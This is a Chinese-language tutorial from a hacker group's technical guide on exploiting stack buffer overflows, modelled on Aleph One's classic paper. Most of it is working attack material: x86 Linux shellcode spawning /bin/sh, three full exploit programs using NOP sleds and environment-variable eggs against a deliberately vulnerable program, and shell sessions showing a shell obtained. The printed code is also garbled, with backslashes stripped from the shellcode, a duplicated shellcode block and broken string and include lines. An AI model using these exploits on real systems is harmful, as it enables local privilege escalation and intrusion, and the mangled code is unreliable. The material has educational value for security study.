绿色兵团技术指南(一)
-------------[ 绪论
在这份指南中,我们将讨论什么是缓冲溢出和怎么样去使用它.你必须了解C语言和汇编语言,如果熟悉GDB的话更加好,当然这不是很必要的。
-------------[ 存储器结构
(Memory organization)存储器分为3个部分
1. 文本区域(程序区)
这个部分是用来存储程序指令的.所以,这个区域被标示为只读,任何写的操作都将导致错误.
2. 数据区域
这个部分存储静态变量,它的大小可以由brk()系统调用来改变.
3. 堆栈
堆栈有个特殊的属性,就是最新放置在它里面的,都将是第一个被移出堆栈的。在计算机科学里,这就是通常所指的后进先出(LIFO).堆栈是被设计用来供函数和过程使用的.一个过程在执行过程中改变程序的执行流程,这点和jump有点类似.但与jump不一样的是它在完成了他的指令后是返回调用点的,返回地址在过程被调用之前就被设置在堆栈中.
它也被用来动态分配函数中的变量,以及函数的参数和返回值.
-------------[ 返回地址和指令指针
计算机执行一条指令,并保留指向下一条指令的指针(IP).当函数或过程被调用的时候,先前在堆栈中被保留先来的指令指针将被作为返回地址(RET). 执行完成后,RET将会替换IP,程序接着继续执行本来的流程.
-------------[ 一个缓冲溢出
让我们用一个例子来说明以下缓冲溢出.
<++> buffer/example.c
void main(){
char big_string[100];
char small_string[50];
memset(big_string,0x41,100);
/* strcpy(char *to,char *from) */
strcpy(small_string,big_string);}
<--> end of example.c
这个程序用了两个数组, memset() 给数组big_strings加入字符0x41 (= A). 然后它将big_string加到small_string中.很明显,数组small_string不能容纳100个字符,因此,溢出产生.
接下来我们看看存储器中的变化情况:
[ big_string ] [ small_string ] [SFP] [RET]
在溢出中,SFP(Stack Frame Pointer)堆栈指针和 RET返回地址都将被A覆盖掉. 这就意味着RET要变为0x41414141(0x41是A十六进制的值). 当函数被返回的时候,指令指针(Instruction Pointer)将会被已经复写了的RET替换. 接着,计算机会试着去执行在0x41414141处的指令. 这将会导致段冲突,因为这个地址已经超出了处理范围.
--------------------[ 发掘漏洞
现在我们知道我们可以通过覆盖RET来改变程序的正常流程,我们可以实验一下. 不是用A来覆盖,而是用一些特别的地址来达到我们的目的.
------------[ 任意代码的执行
现在我们需要一些东西来指向地址并执行. 在大多数情况下,我们需要产生一个shell,当然这不是唯一的方法.
Before:
FFFFF BBBBBBBBBBBBBBBBBBBBB EEEE RRRR FFFFFFFFFF
B = the buffer
E = stack frame pointer
R = return address
F = other data
After:
FFFFF SSSSSSSSSSSSSSSSSSSSSSSSSAAAAAAAAFFFFFFFFF
S = shellcode
A = address pointing to the shellcode
F = other data
用C来产生shell的代码如下:
<++> buffer/shell.c
void main(){
char *name[2];
name[0] = \"/bin/sh\";
name[1] = 0x0;
execve(name[0], name, 0x0);
exit(0);
}
<--> end of shellcode
这里我们就不打算去解释如何去写一个shellcode了,因为它需要很多汇编的知识.那将偏离我们讨论的题目。事实上有很多的shellcode可以被我们利用.对于那些想知道如何产生的人来说,可以根据以下的步骤来完成:
- 用 -static flag 开关来编译上面的程序
- 用GDB来打开上面的程序,然后用\"disassemble main\" 命令
- 去掉所有不必要的代码
- 用汇编来重写它
- 编译,然后再用GDB打开,用 \"disassemble main\" 命令
- 在指令地址使用 x/bx 命令,找回 hex-code.
或者你可以使用这些代码
char shellcode[]=
\"xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0x0b\"
\"x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40xcd\"
\"x80xe8xdcxffxffxff/bin/sh\";
\"x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40xcd\"
\"x80xe8xdcxffxffxff/bin/sh\";
------------[ 寻找地址
当我们尝试去溢出一个程序的缓冲区的时候, 这个程序要寻找这个缓冲区的地址. 这个问题的答案是:对每个程序来说,堆栈都是在同一个地址上开始的.因此,只要知道了这个堆栈的地址是在哪里的,我们就可以猜出这个缓冲区的地址了.
下面这个程序会告诉我们这个程序的的堆栈指针:
<++> buffer/getsp.c
unsigned long get_sp(void){
__asm__(\"movl %esp, %eax);
}
void main(){
fprintf(stdout,\"0x%xn\",get_sp());
}
<--> end of getsp.c
------------[试一下下面这个例子
<++> buffer/hole.c
void main(int argc,char **argv[]){
char buffer[512];
if (argc > 1) /* otherwise we crash our little program */
strcpy(buffer,argv[1]);
}
<--> end of hole.c
<++> buffer/exploit1.c
#include
#define DEFAULT_OFFSET 0
#define DEFAULT_BUFFER_SIZE 512
char shellcode[] =
\"xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0x0b\"
\"x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40xcd\"
\"x80xe8xdcxffxffxff/bin/sh\";
unsigned long get_sp(void) {
__asm__(\"movl %esp,%eax\");
}
void main(int argc, char *argv[])
{
char *buff, *ptr;
long *addr_ptr, addr;
int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
int i;
if (argc > 1) bsize = atoi(argv[1]);
if (argc > 2) offset = atoi(argv[2]);
if (!(buff = malloc(bsize))) {
printf(\"Can\t allocate memory.n\");
exit(0);
}
addr = get_sp() - offset;
printf(\"Using address: 0x%xn\", addr);
ptr = buff;
addr_ptr = (long *) ptr;
for (i = 0; i < bsize; i+=4)
*(addr_ptr++) = addr;
ptr += 4;
for (i = 0; i < strlen(shellcode); i++)
*(ptr++) = shellcode[i];
buff[bsize - 1] = \0\;
memcpy(buff,\"BUF=\",4);
putenv(buff);
system(\"/bin/bash\");
}
<--> end of exploit1.c
现在我们可以猜出offset (bufferaddress = stackpointer + offset).
[hosts]$ exploit1 600
Using address: 0xbffff6c3
[hosts]$ ./hole $BUF
[hosts]$ exploit1 600 100
Using address: 0xbffffce6
[hosts]$ ./hole $BUF
segmentation fault
etc.
etc.
就象你所知道的那样,这个过程几乎是不可能发生的, 这样,我们不得不去猜出更精确的溢出地址. 为了增加我们的机会, 我们可以在我们的缓冲溢出的shellcode前加上 NOP(空操作)指令. 因为我们没有必要去猜出它精确的溢出地址来. 而NOP指令用来延迟执行的.如果这个被覆写的返回地址指针在NOP串中,我们的代码就可以在下面一步执行了.
存储器的内容应该是这样的:
FFFFF NNNNNNNNNNNSSSSSSSSSSSSSSAAAAAAAAFFFFFFFFF
N = NOP
S = shellcode
A = address pointing to the shellcode
F = other data
我们把原先的代码改了一下.
<++> buffer/exploit2.c
#include
#define DEFAULT_OFFSET 0
#define DEFAULT_BUFFER_SIZE 512
#define NOP 0x90
char shellcode[] =
\"xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0x0b\"
\"x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40xcd\"
\"x80xe8xdcxffxffxff/bin/sh\";
unsigned long get_sp(void) {
__asm__(\"movl %esp,%eax\");
}
void main(int argc, char *argv[])
{
char *buff, *ptr;
long *addr_ptr, addr;
int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
int i;
if (argc > 1) bsize = atoi(argv[1]);
if (argc > 2) offset = atoi(argv[2]);
if (!(buff = malloc(bsize))) {
printf(\"Can\t allocate memory.n\");
exit(0);
}
addr = get_sp() - offset;
printf(\"Using address: 0x%xn\", addr);
ptr = buff;
addr_ptr = (long *) ptr;
for (i = 0; i < bsize; i+=4)
*(addr_ptr++) = addr;
for (i = 0; i < bsize/2; i++)
buff[i] = NOP;
ptr = buff + ((bsize/2) - (strlen(shellcode)/2));
for (i = 0; i < strlen(shellcode); i++)
*(ptr++) = shellcode[i];
buff[bsize - 1] = \0\;
memcpy(buff,\"BUF=\",4);
putenv(buff);
system(\"/bin/bash\");
}
<--> end of exploit2.c
[hosts]$ exploit2 600
Using address: 0xbffff6c3
[hosts]$ ./hole $BUF
segmentation fault
[hosts]$ exploit2 600 100
Using address: 0xbffffce6
[hosts]$ ./hole $BUF
#exit
[hosts]$
为了更完善我们的代码, 我们把这些shellcode放到环境变量里去. 然后我们就可以用这个变量的地址来溢出缓冲器了. 这方法可以增加我们的机会.用setenv()函数来调用,并把shellcode送到环境变量中去.
<++> buffer/exploit3.c
#include
#define DEFAULT_OFFSET 0
#define DEFAULT_BUFFER_SIZE 512
#define DEFAULT_EGG_SIZE 2048
#define NOP 0x90
char shellcode[] =
\"xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0x0b\"
\"x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40xcd\"
\"x80xe8xdcxffxffxff/bin/sh\";
unsigned long get_esp(void) {
__asm__(\"movl %esp,%eax\");
}
void main(int argc, char *argv[])
{
char *buff, *ptr, *egg;
long *addr_ptr, addr;
int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
int i, eggsize=DEFAULT_EGG_SIZE;
if (argc > 1) bsize = atoi(argv[1]);
if (argc > 2) offset = atoi(argv[2]);
if (argc > 3) eggsize = atoi(argv[3]);
if (!(buff = malloc(bsize))) {
printf(\"Can\t allocate memory.n\");
exit(0);
}
if (!(egg = malloc(eggsize))) {
printf(\"Can\t allocate memory.n\");
exit(0);
}
addr = get_esp() - offset;
printf(\"Using address: 0x%xn\", addr);
ptr = buff;
addr_ptr = (long *) ptr;
for (i = 0; i < bsize; i+=4)
*(addr_ptr++) = addr;
ptr = egg;
for (i = 0; i < eggsize - strlen(shellcode) - 1; i++)
*(ptr++) = NOP;
for (i = 0; i < strlen(shellcode); i++)
*(ptr++) = shellcode[i];
buff[bsize - 1] = \0\;
egg[eggsize - 1] = \0\;
memcpy(egg,\"BUF=\",4);
putenv(egg);
memcpy(buff,\"RET=\",4);
putenv(buff);
system(\"/bin/bash\");
}
end of exploit3.c
[hosts]$ exploit2 600
Using address: 0xbffff5d7
[hosts]$ ./hole $RET
#exit
[hosts]$
--------------------[ 寻找溢出
当然有能更准确找到缓冲溢出的方法, 那就是读它的源程序. 因为Linux是个开放的系统, 你很容易就可以得到它的源程序.
寻找没有边界校验的库函数调用,如:
strcpy(), strcat(), sprintf(), vsprintf(), scanf().
其他的具有危险的函数如:在\"当型\"循环中的getc()和getchar(). strncat函数的错误使用。
--------------------[ 参考文献
Smashing the stack for fun and profit by aleph1
bufferoverflows by mudge
发布人:netbull 来自:黑白世界